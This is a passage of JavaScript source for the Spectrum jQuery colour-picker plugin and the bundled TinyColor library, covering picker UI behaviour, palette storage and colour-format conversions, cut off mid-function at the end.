container.toggleClass("sp-palette-disabled", !opts.showPalette); container.toggleClass("sp-palette-only", opts.showPaletteOnly); container.toggleClass("sp-initial-disabled", !opts.showInitial); container.addClass(opts.className).addClass(opts.containerClassName); reflow(); } function initialize() { if (IE) { container.find("*:not(input)").attr("unselectable", "on"); } applyOptions(); if (shouldReplace) { boundElement.after(replacer).hide(); } if (!allowEmpty) { clearButton.hide(); } if (flat) { boundElement.after(container).hide(); } else { var appendTo = opts.appendTo === "parent" ? boundElement.parent() : $(opts.appendTo); if (appendTo.length !== 1) { appendTo = $("body"); } appendTo.append(container); } updateSelectionPaletteFromStorage(); offsetElement.bind("click.spectrum touchstart.spectrum", function (e) { if (!disabled) { toggle(); } e.stopPropagation(); if (!$(e.target).is("input")) { e.preventDefault(); } }); if(boundElement.is(":disabled") || (opts.disabled === true)) { disable(); } // Prevent clicks from bubbling up to document. This would cause it to be hidden. container.click(stopPropagation); // Handle user typed input textInput.change(setFromTextInput); textInput.bind("paste", function () { setTimeout(setFromTextInput, 1); }); textInput.keydown(function (e) { if (e.keyCode == 13) { setFromTextInput(); } }); cancelButton.text(opts.cancelText); cancelButton.bind("click.spectrum", function (e) { e.stopPropagation(); e.preventDefault(); hide("cancel"); }); clearButton.attr("title", opts.clearText); clearButton.bind("click.spectrum", function (e) { e.stopPropagation(); e.preventDefault(); isEmpty = true; move(); if(flat) { //for the flat style, this is a change event updateOriginalInput(true); } }); chooseButton.text(opts.chooseText); chooseButton.bind("click.spectrum", function (e) { e.stopPropagation(); e.preventDefault(); if (isValid()) { updateOriginalInput(true); hide(); } }); draggable(alphaSlider, function (dragX, dragY, e) { currentAlpha = (dragX / alphaWidth); isEmpty = false; if (e.shiftKey) { currentAlpha = Math.round(currentAlpha * 10) / 10; } move(); }, dragStart, dragStop); draggable(slider, function (dragX, dragY) { currentHue = parseFloat(dragY / slideHeight); isEmpty = false; if (!opts.showAlpha) { currentAlpha = 1; } move(); }, dragStart, dragStop); draggable(dragger, function (dragX, dragY, e) { // shift+drag should snap the movement to either the x or y axis. if (!e.shiftKey) { shiftMovementDirection = null; } else if (!shiftMovementDirection) { var oldDragX = currentSaturation * dragWidth; var oldDragY = dragHeight - (currentValue * dragHeight); var furtherFromX = Math.abs(dragX - oldDragX) > Math.abs(dragY - oldDragY); shiftMovementDirection = furtherFromX ? "x" : "y"; } var setSaturation = !shiftMovementDirection || shiftMovementDirection === "x"; var setValue = !shiftMovementDirection || shiftMovementDirection === "y"; if (setSaturation) { currentSaturation = parseFloat(dragX / dragWidth); } if (setValue) { currentValue = parseFloat((dragHeight - dragY) / dragHeight); } isEmpty = false; if (!opts.showAlpha) { currentAlpha = 1; } move(); }, dragStart, dragStop); if (!!initialColor) { set(initialColor); // In case color was black - update the preview UI and set the format // since the set function will not run (default color is black). updateUI(); currentPreferredFormat = preferredFormat || tinycolor(initialColor).format; addColorToSelectionPalette(initialColor); } else { updateUI(); } if (flat) { show(); } function palletElementClick(e) { if (e.data && e.data.ignore) { set($(this).data("color")); move(); } else { set($(this).data("color")); move(); updateOriginalInput(true); hide(); } return false; } var paletteEvent = IE ? "mousedown.spectrum" : "click.spectrum touchstart.spectrum"; paletteContainer.delegate(".sp-thumb-el", paletteEvent, palletElementClick); initialColorContainer.delegate(".sp-thumb-el:nth-child(1)", paletteEvent, { ignore: true }, palletElementClick); } function updateSelectionPaletteFromStorage() { if (localStorageKey && window.localStorage) { // Migrate old palettes over to new format. May want to remove this eventually. try { var oldPalette = window.localStorage[localStorageKey].split(",#"); if (oldPalette.length > 1) { delete window.localStorage[localStorageKey]; $.each(oldPalette, function(i, c) { addColorToSelectionPalette(c); }); } } catch(e) { } try { selectionPalette = window.localStorage[localStorageKey].split(";"); } catch (e) { } } } function addColorToSelectionPalette(color) { if (showSelectionPalette) { var rgb = tinycolor(color).toRgbString(); if (!paletteLookup[rgb] && $.inArray(rgb, selectionPalette) === -1) { selectionPalette.push(rgb); while(selectionPalette.length > maxSelectionSize) { selectionPalette.shift(); } } if (localStorageKey && window.localStorage) { try { window.localStorage[localStorageKey] = selectionPalette.join(";"); } catch(e) { } } } } function getUniqueSelectionPalette() { var unique = []; if (opts.showPalette) { for (i = 0; i < selectionPalette.length; i++) { var rgb = tinycolor(selectionPalette[i]).toRgbString(); if (!paletteLookup[rgb]) { unique.push(selectionPalette[i]); } } } return unique.reverse().slice(0, opts.maxSelectionSize); } function drawPalette() { var currentColor = get(); var html = $.map(paletteArray, function (palette, i) { return paletteTemplate(palette, currentColor, "sp-palette-row sp-palette-row-" + i, opts.preferredFormat); }); updateSelectionPaletteFromStorage(); if (selectionPalette) { html.push(paletteTemplate(getUniqueSelectionPalette(), currentColor, "sp-palette-row sp-palette-row-selection", opts.preferredFormat)); } paletteContainer.html(html.join("")); } function drawInitial() { if (opts.showInitial) { var initial = colorOnShow; var current = get(); initialColorContainer.html(paletteTemplate([initial, current], current, "sp-palette-row-initial", opts.preferredFormat)); } } function dragStart() { if (dragHeight <= 0 || dragWidth <= 0 || slideHeight <= 0) { reflow(); } container.addClass(draggingClass); shiftMovementDirection = null; boundElement.trigger('dragstart.spectrum', [ get() ]); } function dragStop() { container.removeClass(draggingClass); boundElement.trigger('dragstop.spectrum', [ get() ]); } function setFromTextInput() { var value = textInput.val(); if ((value === null || value === "") && allowEmpty) { set(null); updateOriginalInput(true); } else { var tiny = tinycolor(value); if (tiny.ok) { set(tiny); updateOriginalInput(true); } else { textInput.addClass("sp-validation-error"); } } } function toggle() { if (visible) { hide(); } else { show(); } } function show() { var event = $.Event('beforeShow.spectrum'); if (visible) { reflow(); return; } boundElement.trigger(event, [ get() ]); if (callbacks.beforeShow(get()) === false || event.isDefaultPrevented()) { return; } hideAll(); visible = true; $(doc).bind("click.spectrum", hide); $(window).bind("resize.spectrum", resize); replacer.addClass("sp-active"); container.removeClass("sp-hidden"); reflow(); updateUI(); colorOnShow = get(); drawInitial(); callbacks.show(colorOnShow); boundElement.trigger('show.spectrum', [ colorOnShow ]); } function hide(e) { // Return on right click if (e && e.type == "click" && e.button == 2) { return; } // Return if hiding is unnecessary if (!visible || flat) { return; } visible = false; $(doc).unbind("click.spectrum", hide); $(window).unbind("resize.spectrum", resize); replacer.removeClass("sp-active"); container.addClass("sp-hidden"); var colorHasChanged = !tinycolor.equals(get(), colorOnShow); if (colorHasChanged) { if (clickoutFiresChange && e !== "cancel") { updateOriginalInput(true); } else { revert(); } } callbacks.hide(get()); boundElement.trigger('hide.spectrum', [ get() ]); } function revert() { set(colorOnShow, true); } function set(color, ignoreFormatChange) { if (tinycolor.equals(color, get())) { // Update UI just in case a validation error needs // to be cleared. updateUI(); return; } var newColor, newHsv; if (!color && allowEmpty) { isEmpty = true; } else { isEmpty = false; newColor = tinycolor(color); newHsv = newColor.toHsv(); currentHue = (newHsv.h % 360) / 360; currentSaturation = newHsv.s; currentValue = newHsv.v; currentAlpha = newHsv.a; } updateUI(); if (newColor && newColor.ok && !ignoreFormatChange) { currentPreferredFormat = preferredFormat || newColor.format; } } function get(opts) { opts = opts || { }; if (allowEmpty && isEmpty) { return null; } return tinycolor.fromRatio({ h: currentHue, s: currentSaturation, v: currentValue, a: Math.round(currentAlpha * 100) / 100 }, { format: opts.format || currentPreferredFormat }); } function isValid() { return !textInput.hasClass("sp-validation-error"); } function move() { updateUI(); callbacks.move(get()); boundElement.trigger('move.spectrum', [ get() ]); } function updateUI() { textInput.removeClass("sp-validation-error"); updateHelperLocations(); // Update dragger background color (gradients take care of saturation and value). var flatColor = tinycolor.fromRatio({ h: currentHue, s: 1, v: 1 }); dragger.css("background-color", flatColor.toHexString()); // Get a format that alpha will be included in (hex and names ignore alpha) var format = currentPreferredFormat; if (currentAlpha < 1 && !(currentAlpha === 0 && format === "name")) { if (format === "hex" || format === "hex3" || format === "hex6" || format === "name") { format = "rgb"; } } var realColor = get({ format: format }), displayColor = ''; //reset background info for preview element previewElement.removeClass("sp-clear-display"); previewElement.css('background-color', 'transparent'); if (!realColor && allowEmpty) { // Update the replaced elements background with icon indicating no color selection previewElement.addClass("sp-clear-display"); } else { var realHex = realColor.toHexString(), realRgb = realColor.toRgbString(); // Update the replaced elements background color (with actual selected color) if (rgbaSupport || realColor.alpha === 1) { previewElement.css("background-color", realRgb); } else { previewElement.css("background-color", "transparent"); previewElement.css("filter", realColor.toFilter()); } if (opts.showAlpha) { var rgb = realColor.toRgb(); rgb.a = 0; var realAlpha = tinycolor(rgb).toRgbString(); var gradient = "linear-gradient(left, " + realAlpha + ", " + realHex + ")"; if (IE) { alphaSliderInner.css("filter", tinycolor(realAlpha).toFilter({ gradientType: 1 }, realHex)); } else { alphaSliderInner.css("background", "-webkit-" + gradient); alphaSliderInner.css("background", "-moz-" + gradient); alphaSliderInner.css("background", "-ms-" + gradient); // Use current syntax gradient on unprefixed property. alphaSliderInner.css("background", "linear-gradient(to right, " + realAlpha + ", " + realHex + ")"); } } displayColor = realColor.toString(format); } // Update the text entry input as it changes happen if (opts.showInput) { textInput.val(displayColor); } if (opts.showPalette) { drawPalette(); } drawInitial(); } function updateHelperLocations() { var s = currentSaturation; var v = currentValue; if(allowEmpty && isEmpty) { //if selected color is empty, hide the helpers alphaSlideHelper.hide(); slideHelper.hide(); dragHelper.hide(); } else { //make sure helpers are visible alphaSlideHelper.show(); slideHelper.show(); dragHelper.show(); // Where to show the little circle in that displays your current selected color var dragX = s * dragWidth; var dragY = dragHeight - (v * dragHeight); dragX = Math.max( -dragHelperHeight, Math.min(dragWidth - dragHelperHeight, dragX - dragHelperHeight) ); dragY = Math.max( -dragHelperHeight, Math.min(dragHeight - dragHelperHeight, dragY - dragHelperHeight) ); dragHelper.css({ "top": dragY + "px", "left": dragX + "px" }); var alphaX = currentAlpha * alphaWidth; alphaSlideHelper.css({ "left": (alphaX - (alphaSlideHelperWidth / 2)) + "px" }); // Where to show the bar that displays your current selected hue var slideY = (currentHue) * slideHeight; slideHelper.css({ "top": (slideY - slideHelperHeight) + "px" }); } } function updateOriginalInput(fireCallback) { var color = get(), displayColor = '', hasChanged = !tinycolor.equals(color, colorOnShow); if (color) { displayColor = color.toString(currentPreferredFormat); // Update the selection palette with the current color addColorToSelectionPalette(color); } if (isInput) { boundElement.val(displayColor); } colorOnShow = color; if (fireCallback && hasChanged) { callbacks.change(color); boundElement.trigger('change', [ color ]); } } function reflow() { dragWidth = dragger.width(); dragHeight = dragger.height(); dragHelperHeight = dragHelper.height(); slideWidth = slider.width(); slideHeight = slider.height(); slideHelperHeight = slideHelper.height(); alphaWidth = alphaSlider.width(); alphaSlideHelperWidth = alphaSlideHelper.width(); if (!flat) { container.css("position", "absolute"); container.offset(getOffset(container, offsetElement)); } updateHelperLocations(); if (opts.showPalette) { drawPalette(); } boundElement.trigger('reflow.spectrum'); } function destroy() { boundElement.show(); offsetElement.unbind("click.spectrum touchstart.spectrum"); container.remove(); replacer.remove(); spectrums[spect.id] = null; } function option(optionName, optionValue) { if (optionName === undefined) { return $.extend({}, opts); } if (optionValue === undefined) { return opts[optionName]; } opts[optionName] = optionValue; applyOptions(); } function enable() { disabled = false; boundElement.attr("disabled", false); offsetElement.removeClass("sp-disabled"); } function disable() { hide(); disabled = true; boundElement.attr("disabled", true); offsetElement.addClass("sp-disabled"); } initialize(); var spect = { show: show, hide: hide, toggle: toggle, reflow: reflow, option: option, enable: enable, disable: disable, set: function (c) { set(c); updateOriginalInput(); }, get: get, destroy: destroy, container: container }; spect.id = spectrums.push(spect) - 1; return spect; } /** * checkOffset - get the offset below/above and left/right element depending on screen position * Thanks https://github.com/jquery/jquery-ui/blob/master/ui/jquery.ui.datepicker.js */ function getOffset(picker, input) { var extraY = 0; var dpWidth = picker.outerWidth(); var dpHeight = picker.outerHeight(); var inputHeight = input.outerHeight(); var doc = picker[0].ownerDocument; var docElem = doc.documentElement; var viewWidth = docElem.clientWidth + $(doc).scrollLeft(); var viewHeight = docElem.clientHeight + $(doc).scrollTop(); var offset = input.offset(); offset.top += inputHeight; offset.left -= Math.min(offset.left, (offset.left + dpWidth > viewWidth && viewWidth > dpWidth) ? Math.abs(offset.left + dpWidth - viewWidth) : 0); offset.top -= Math.min(offset.top, ((offset.top + dpHeight > viewHeight && viewHeight > dpHeight) ? Math.abs(dpHeight + inputHeight - extraY) : extraY)); return offset; } /** * noop - do nothing */ function noop() { } /** * stopPropagation - makes the code only doing this a little easier to read in line */ function stopPropagation(e) { e.stopPropagation(); } /** * Create a function bound to a given object * Thanks to underscore.js */ function bind(func, obj) { var slice = Array.prototype.slice; var args = slice.call(arguments, 2); return function () { return func.apply(obj, args.concat(slice.call(arguments))); }; } /** * Lightweight drag helper. Handles containment within the element, so that * when dragging, the x is within [0,element.width] and y is within [0,element.height] */ function draggable(element, onmove, onstart, onstop) { onmove = onmove || function () { }; onstart = onstart || function () { }; onstop = onstop || function () { }; var doc = element.ownerDocument || document; var dragging = false; var offset = {}; var maxHeight = 0; var maxWidth = 0; var hasTouch = ('ontouchstart' in window); var duringDragEvents = {}; duringDragEvents["selectstart"] = prevent; duringDragEvents["dragstart"] = prevent; duringDragEvents["touchmove mousemove"] = move; duringDragEvents["touchend mouseup"] = stop; function prevent(e) { if (e.stopPropagation) { e.stopPropagation(); } if (e.preventDefault) { e.preventDefault(); } e.returnValue = false; } function move(e) { if (dragging) { // Mouseup happened outside of window if (IE && document.documentMode < 9 && !e.button) { return stop(); } var touches = e.originalEvent.touches; var pageX = touches ? touches[0].pageX : e.pageX; var pageY = touches ? touches[0].pageY : e.pageY; var dragX = Math.max(0, Math.min(pageX - offset.left, maxWidth)); var dragY = Math.max(0, Math.min(pageY - offset.top, maxHeight)); if (hasTouch) { // Stop scrolling in iOS prevent(e); } onmove.apply(element, [dragX, dragY, e]); } } function start(e) { var rightclick = (e.which) ? (e.which == 3) : (e.button == 2); var touches = e.originalEvent.touches; if (!rightclick && !dragging) { if (onstart.apply(element, arguments) !== false) { dragging = true; maxHeight = $(element).height(); maxWidth = $(element).width(); offset = $(element).offset(); $(doc).bind(duringDragEvents); $(doc.body).addClass("sp-dragging"); if (!hasTouch) { move(e); } prevent(e); } } } function stop() { if (dragging) { $(doc).unbind(duringDragEvents); $(doc.body).removeClass("sp-dragging"); onstop.apply(element, arguments); } dragging = false; } $(element).bind("touchstart mousedown", start); } function throttle(func, wait, debounce) { var timeout; return function () { var context = this, args = arguments; var throttler = function () { timeout = null; func.apply(context, args); }; if (debounce) clearTimeout(timeout); if (debounce || !timeout) timeout = setTimeout(throttler, wait); }; } function log(){/* jshint -W021 */if(window.console){if(Function.prototype.bind)log=Function.prototype.bind.call(console.log,console);else log=function(){Function.prototype.apply.call(console.log,console,arguments);};log.apply(this,arguments);}} /** * Define a jQuery plugin */ var dataID = "spectrum.id"; $.fn.spectrum = function (opts, extra) { if (typeof opts == "string") { var returnValue = this; var args = Array.prototype.slice.call( arguments, 1 ); this.each(function () { var spect = spectrums[$(this).data(dataID)]; if (spect) { var method = spect[opts]; if (!method) { throw new Error( "Spectrum: no such method: '" + opts + "'" ); } if (opts == "get") { returnValue = spect.get(); } else if (opts == "container") { returnValue = spect.container; } else if (opts == "option") { returnValue = spect.option.apply(spect, args); } else if (opts == "destroy") { spect.destroy(); $(this).removeData(dataID); } else { method.apply(spect, args); } } }); return returnValue; } // Initializing a new instance of spectrum return this.spectrum("destroy").each(function () { var options = $.extend({}, opts, $(this).data()); var spect = spectrum(this, options); $(this).data(dataID, spect.id); }); }; $.fn.spectrum.load = true; $.fn.spectrum.loadOpts = {}; $.fn.spectrum.draggable = draggable; $.fn.spectrum.defaults = defaultOpts; $.spectrum = { }; $.spectrum.localization = { }; $.spectrum.palettes = { }; $.fn.spectrum.processNativeColorInputs = function () { if (!inputTypeColorSupport) { $("input[type=color]").spectrum({ preferredFormat: "hex6" }); } }; // TinyColor v0.9.17 // https://github.com/bgrins/TinyColor // 2013-08-10, Brian Grinstead, MIT License (function() { var trimLeft = /^[\s,#]+/, trimRight = /\s+$/, tinyCounter = 0, math = Math, mathRound = math.round, mathMin = math.min, mathMax = math.max, mathRandom = math.random; function tinycolor (color, opts) { color = (color) ? color : ''; opts = opts || { }; // If input is already a tinycolor, return itself if (typeof color == "object" && color.hasOwnProperty("_tc_id")) { return color; } var rgb = inputToRGB(color); var r = rgb.r, g = rgb.g, b = rgb.b, a = rgb.a, roundA = mathRound(100*a) / 100, format = opts.format || rgb.format; // Don't let the range of [0,255] come back in [0,1]. // Potentially lose a little bit of precision here, but will fix issues where // .5 gets interpreted as half of the total, instead of half of 1 // If it was supposed to be 128, this was already taken care of by `inputToRgb` if (r < 1) { r = mathRound(r); } if (g < 1) { g = mathRound(g); } if (b < 1) { b = mathRound(b); } return { ok: rgb.ok, format: format, _tc_id: tinyCounter++, alpha: a, getAlpha: function() { return a; }, setAlpha: function(value) { a = boundAlpha(value); roundA = mathRound(100*a) / 100; }, toHsv: function() { var hsv = rgbToHsv(r, g, b); return { h: hsv.h * 360, s: hsv.s, v: hsv.v, a: a }; }, toHsvString: function() { var hsv = rgbToHsv(r, g, b); var h = mathRound(hsv.h * 360), s = mathRound(hsv.s * 100), v = mathRound(hsv.v * 100); return (a == 1) ? "hsv(" + h + ", " + s + "%, " + v + "%)" : "hsva(" + h + ", " + s + "%, " + v + "%, "+ roundA + ")"; }, toHsl: function() { var hsl = rgbToHsl(r, g, b); return { h: hsl.h * 360, s: hsl.s, l: hsl.l, a: a }; }, toHslString: function() { var hsl = rgbToHsl(r, g, b); var h = mathRound(hsl.h * 360), s = mathRound(hsl.s * 100), l = mathRound(hsl.l * 100); return (a == 1) ? "hsl(" + h + ", " + s + "%, " + l + "%)" : "hsla(" + h + ", " + s + "%, " + l + "%, "+ roundA + ")"; }, toHex: function(allow3Char) { return rgbToHex(r, g, b, allow3Char); }, toHexString: function(allow3Char) { return '#' + this.toHex(allow3Char); }, toHex8: function() { return rgbaToHex(r, g, b, a); }, toHex8String: function() { return '#' + this.toHex8(); }, toRgb: function() { return { r: mathRound(r), g: mathRound(g), b: mathRound(b), a: a }; }, toRgbString: function() { return (a == 1) ? "rgb(" + mathRound(r) + ", " + mathRound(g) + ", " + mathRound(b) + ")" : "rgba(" + mathRound(r) + ", " + mathRound(g) + ", " + mathRound(b) + ", " + roundA + ")"; }, toPercentageRgb: function() { return { r: mathRound(bound01(r, 255) * 100) + "%", g: mathRound(bound01(g, 255) * 100) + "%", b: mathRound(bound01(b, 255) * 100) + "%", a: a }; }, toPercentageRgbString: function() { return (a == 1) ? "rgb(" + mathRound(bound01(r, 255) * 100) + "%, " + mathRound(bound01(g, 255) * 100) + "%, " + mathRound(bound01(b, 255) * 100) + "%)" : "rgba(" + mathRound(bound01(r, 255) * 100) + "%, " + mathRound(bound01(g, 255) * 100) + "%, " + mathRound(bound01(b, 255) * 100) + "%, " + roundA + ")"; }, toName: function() { if (a === 0) { return "transparent"; } return hexNames[rgbToHex(r, g, b, true)] || false; }, toFilter: function(secondColor) { var hex8String = '#' + rgbaToHex(r, g, b, a); var secondHex8String = hex8String; var gradientType = opts && opts.gradientType ? "GradientType = 1, " : ""; if (secondColor) { var s = tinycolor(secondColor); secondHex8String = s.toHex8String(); } return "progid:DXImageTransform.Microsoft.gradient("+gradientType+"startColorstr="+hex8String+",endColorstr="+secondHex8String+")"; }, toString: function(format) { var formatSet = !!format; format = format || this.format; var formattedString = false; var hasAlphaAndFormatNotSet = !formatSet && a < 1 && a > 0; var formatWithAlpha = hasAlphaAndFormatNotSet && (format === "hex" || format === "hex6" || format === "hex3" || format === "name"); if (format === "rgb") { formattedString = this.toRgbString(); } if (format === "prgb") { formattedString = this.toPercentageRgbString(); } if (format === "hex" || format === "hex6") { formattedString = this.toHexString(); } if (format === "hex3") { formattedString = this.toHexString(true); } if (format === "hex8") { formattedString = this.toHex8String(); } if (format === "name") { formattedString = this.toName(); } if (format === "hsl") { formattedString = this.toHslString(); } if (format === "hsv") { formattedString = this.toHsvString(); } if (formatWithAlpha) { return this.toRgbString(); } return formattedString || this.toHexString(); } }; } // If input is an object, force 1 into "1.0" to handle ratios properly // String input requires "1.0" as input, so 1 will be treated as 1 tinycolor.fromRatio = function(color, opts) { if (typeof color == "object") { var newColor = {}; for (var i in color) { if (color.hasOwnProperty(i)) { if (i === "a") { newColor[i] = color[i]; } else { newColor[i] = convertToPercentage(color[i]); } } } color = newColor; } return tinycolor(color, opts); }; // Given a string or object, convert that input to RGB // Possible string inputs: // // "red" // "#f00" or "f00" // "#ff0000" or "ff0000" // "#ff000000" or "ff000000" // "rgb 255 0 0" or "rgb (255, 0, 0)" // "rgb 1.0 0 0" or "rgb (1, 0, 0)" // "rgba (255, 0, 0, 1)" or "rgba 255, 0, 0, 1" // "rgba (1.0, 0, 0, 1)" or "rgba 1.0, 0, 0, 1" // "hsl(0, 100%, 50%)" or "hsl 0 100% 50%" // "hsla(0, 100%, 50%, 1)" or "hsla 0 100% 50%, 1" // "hsv(0, 100%, 100%)" or "hsv 0 100% 100%" // function inputToRGB(color) { var rgb = { r: 0, g: 0, b: 0 }; var a = 1; var ok = false; var format = false; if (typeof color == "string") { color = stringInputToObject(color); } if (typeof color == "object") { if (color.hasOwnProperty("r") && color.hasOwnProperty("g") && color.hasOwnProperty("b")) { rgb = rgbToRgb(color.r, color.g, color.b); ok = true; format = String(color.r).substr(-1) === "%" ? "prgb" : "rgb"; } else if (color.hasOwnProperty("h") && color.hasOwnProperty("s") && color.hasOwnProperty("v")) { color.s = convertToPercentage(color.s); color.v = convertToPercentage(color.v); rgb = hsvToRgb(color.h, color.s, color.v); ok = true; format = "hsv"; } else if (color.hasOwnProperty("h") && color.hasOwnProperty("s") && color.hasOwnProperty("l")) { color.s = convertToPercentage(color.s); color.l = convertToPercentage(color.l); rgb = hslToRgb(color.h, color.s, color.l); ok = true; format = "hsl"; } if (color.hasOwnProperty("a")) { a = color.a; } } a = boundAlpha(a); return { ok: ok, format: color.format || format, r: mathMin(255, mathMax(rgb.r, 0)), g: mathMin(255, mathMax(rgb.g, 0)), b: mathMin(255, mathMax(rgb.b, 0)), a: a }; } // Conversion Functions // -------------------- // `rgbToHsl`, `rgbToHsv`, `hslToRgb`, `hsvToRgb` modified from: // // `rgbToRgb` // Handle bounds / percentage checking to conform to CSS color spec // // *Assumes:* r, g, b in [0, 255] or [0, 1] // *Returns:* { r, g, b } in [0, 255] function rgbToRgb(r, g, b){ return { r: bound01(r, 255) * 255, g: bound01(g, 255) * 255, b: bound01(b, 255) * 255 }; } // `rgbToHsl` // Converts an RGB color value to HSL. // *Assumes:* r, g, and b are contained in [0, 255] or [0, 1] // *Returns:* { h, s, l } in [0,1] function rgbToHsl(r, g, b) { r = bound01(r, 255); g = bound01(g, 255); b = bound01(b, 255); var max = mathMax(r, g, b), min = mathMin(r, g, b); var h, s, l = (max + min) / 2; if(max == min) { h = s = 0; // achromatic } else { var d = max - min; s = l > 0.5 ? d / (2 - max - min) : d / (max + min); switch(max) { case r: h = (g - b) / d + (g < b ? 6 : 0); break; case g: h = (b - r) / d + 2; break; case b: h = (r - g) / d + 4; break; } h /= 6; } return { h: h, s: s, l: l }; } // `hslToRgb` // Converts an HSL color value to RGB. // *Assumes:* h is contained in [0, 1] or [0, 360] and s and l are contained [0, 1] or [0, 100] // *Returns:* { r, g, b } in the set [0, 255] function hslToRgb(h, s, l) { var r, g, b; h = bound01(h, 360); s = bound01(s, 100); l = bound01(l, 100); function hue2rgb(p, q, t) { if(t < 0) t += 1; if(t > 1) t -= 1; if(t < 1/6) return p + (q - p) * 6 * t; if(t < 1/2) return q; if(t < 2/3) return p + (q - p) * (2/3 - t) * 6; return p; } if(s === 0) { r = g = b = l; // achromatic } else { var q = l < 0.5 ? l * (1 + s) : l + s - l * s; var p = 2 * l - q; r = hue2rgb(p, q, h + 1/3); g = hue2rgb(p, q, h); b = hue2rgb(p, q, h - 1/3); } return { r: r * 255, g: g * 255, b: b * 255 }; } // `rgbToHsv` // Converts an RGB color value to HSV // *Assumes:* r, g, and b are contained in the set [0, 255] or [0, 1] // *Returns:* { h, s, v } in [0,1] function rgbToHsv(r, g, b) { r = bound01(r, 255); g = bound01(g, 255); b = bound01(b, 255); var max = mathMax(r, g, b), min = mathMin(r, g, b); var h, s, v = max; var d = max - min; s = max === 0 ? 0 : d / max; if(max == min) { h = 0; // achromatic } else { switch(max) { case r: h = (g - b) / d + (g < b ? 6 : 0); break; case g: h = (b - r) / d + 2; break; case b: h = (r - g) / d + 4; break; } h /= 6; } return { h: h, s: s, v: v }; } // `hsvToRgb` // Converts an HSV color value to RGB. // *Assumes:* h is contained in [0, 1] or [0, 360] and s and v are contained in [0, 1] or [0, 100] // *Returns:* { r, g, b } in the set [0, 255] function hsvToRgb(h, s, v) { h = bound01(h, 360) * 6; s = bound01(s, 100); v = bound01(v, 100); var i = math.floor(h), f = h - i, p = v * (1 - s), q = v * (1 - f * s), t = v * (1 - (1 - f) * s), mod = i % 6, r = [v, q, p, p, t, v][mod], g = [t, v, v, q, p, p][mod], b = [p, p, t, v, v, q][mod]; return { r: r * 255, g: g * 255, b: b * 255 }; } // `rgbToHex` // Converts an RGB color to hex // Assumes r, g, and b are contained in the set [0, 255] // Returns a 3 or 6 character hex function rgbToHex(r, g, b, allow3Char) { var hex = [ pad2(mathRound(r).toString(16)), pad2(mathRound(g).toString(16)), pad2(mathRound(b).toString(16)) ]; // Return a 3 character hex if possible if (allow3Char && hex[0].charAt(0) == hex[0].charAt(1) && hex[1].charAt(0) == hex[1].charAt(1) && hex[2].charAt(0) == hex[2].charAt(1)) { return hex[0].charAt(0) + hex[1].charAt(0) + hex[2].charAt(0); } return hex.join(""); } // `rgbaToHex` // Converts an RGBA color plus alpha transparency to hex // Assumes r, g, b and a are contained in the set [0, 255] // Returns an 8 character hex function rgbaToHex(r, g, b, a) { var hex = [ pad2(convertDecimalToHex(a)), pad2(mathRound(r).toString(16)), pad2(mathRound(g).toString(16)), pad2(mathRound(b).toString(16)) ]; return hex.join(""); } // `equals` // Can be called with any tinycolor input tinycolor.equals = function (color1, color2) { if (!color1 || !color2) { return false; } return tinycolor(color1).toRgbString() == tinycolor(color2).toRgbString(); }; tinycolor.random = function() { return tinycolor.fromRatio({ r: mathRandom(), g: mathRandom(), b: mathRandom() }); }; // Modification Functions // ---------------------- // Thanks to less.js for some of the basics here // tinycolor.desaturate = function (color, amount) { amount = (amount === 0) ? 0 : (amount || 10); var hsl = tinycolor(color).toHsl(); hsl.s -= amount / 100; hsl.s = clamp01(hsl.s); return tinycolor(hsl); }; tinycolor.saturate = function (color, amount) { amount = (amount === 0) ? 0 : (amount || 10); var hsl = tinycolor(color).toHsl(); hsl.s += amount / 100; hsl.s = clamp01(hsl.s); return tinycolor(hsl); }; tinycolor.greyscale = function(color) { return tinycolor.desaturate(color, 100); }; tinycolor.lighten = function(color, amount) { amount = (amount === 0) ? 0 : (amount || 10); var hsl = tinycolor(color).toHsl(); hsl.l += amount / 100; hsl.l = clamp01(hsl.l); return tinycolor(hsl); }; tinycolor.darken = function (color, amount) { amount = (amount === 0) ? 0 : (amount || 10); var hsl = tinycolor(color).toHsl(); hsl.l -= amount / 100; hsl.l = clamp01(hsl.l); return tinycolor(hsl); }; tinycolor.complement = function(color) { var hsl = tinycolor(color).toHsl(); hsl.h = (hsl.h + 180) % 360; return tinycolor(hsl); }; // Combination Functions // --------------------- // Thanks to jQuery xColor for some of the ideas behind these // tinycolor.triad = function(color) { var hsl = tinycolor(color).toHsl(); var h = hsl.h; return [ tinycolor(color), tinycolor({ h: (h + 120) % 360, s: hsl.s, l: hsl.l }), tinycolor({ h: (h + 240) % 360, s: hsl.s, l: hsl.l }) ]; }; tinycolor.tetrad = function(color) { var hsl = tinycolor(color).toHsl(); var h = hsl.h; return [ tinycolor(color), tinycolor({ h: (h + 90) % 360, s: hsl.s, l: hsl.l }), tinycolor({ h: (h + 180) % 360, s: hsl.s, l: hsl.l }), tinycolor({ h: (h + 270) % 360, s: hsl.s, l: hsl.l }) ]; }; tinycolor.splitcomplement = function(color) { var hsl = tinycolor(color).toHsl(); var h = hsl.h; return [ tinycolor(color), tinycolor({ h: (h + 72) % 360, s: hsl.s, l: hsl.l}), tinycolor({ h: (h + 216) % 360, s: hsl.s, l: hsl.l}) ]; }; tinycolor.analogous = function(color, results, slices) { results = results || 6; slices = slices || 30; var hsl = tinycolor(color).toHsl(); var part = 360 / slices; var ret = [tinycolor(color)]; for (hsl.h = ((hsl.h - (part * results >> 1)) + 720) % 360; --results; ) { hsl.h = (hsl.h + part) % 360; ret.push(tinycolor(hsl)); } return ret; }; tinycolor.monochromatic = function(color, results) { results = results || 6; var hsv = tinycolor(color).toHsv(); var h = hsv.h, s = hsv.s, v = hsv.v; var ret = []; var modification = 1 / results; while (results--) { ret.push(tinycolor({ h: h, s: s, v: v})); v = (v + modification) % 1; } return ret; }; // Readability Functions // --------------------- // // `readability` // Analyze the 2 colors and returns an object with the following properties: // `brightness`: difference in brightness between the two colors // `color`: difference in color/hue between the two colors tinycolor.readability = function(color1, color2) { var a = tinycolor(color1).toRgb(); var b = tinycolor(color2).toRgb(); var brightnessA = (a.r * 299 + a.g * 587 + a.b * 114) / 1000; var brightnessB = (b.r * 299 + b.g * 587 + b.b * 114) / 1000; var colorDiff = ( Math.max(a.r, b.r) - Math.min(a.r, b.r) + Math.max(a.g, b.g) - Math.min(a.g, b.g) + Math.max(a.b, b.b) - Math.min(a.b, b.b) ); return { brightness: Math.abs(brightnessA - brightnessB), color: colorDiff }; }; // `readable` // http://www.w3.org/TR/AERT#color-contrast // Ensure that foreground and background color combinations provide sufficient contrast. // *Example* // tinycolor.readable("#000", "#111") => false tinycolor.readable = function(color1, color2) { var readability = 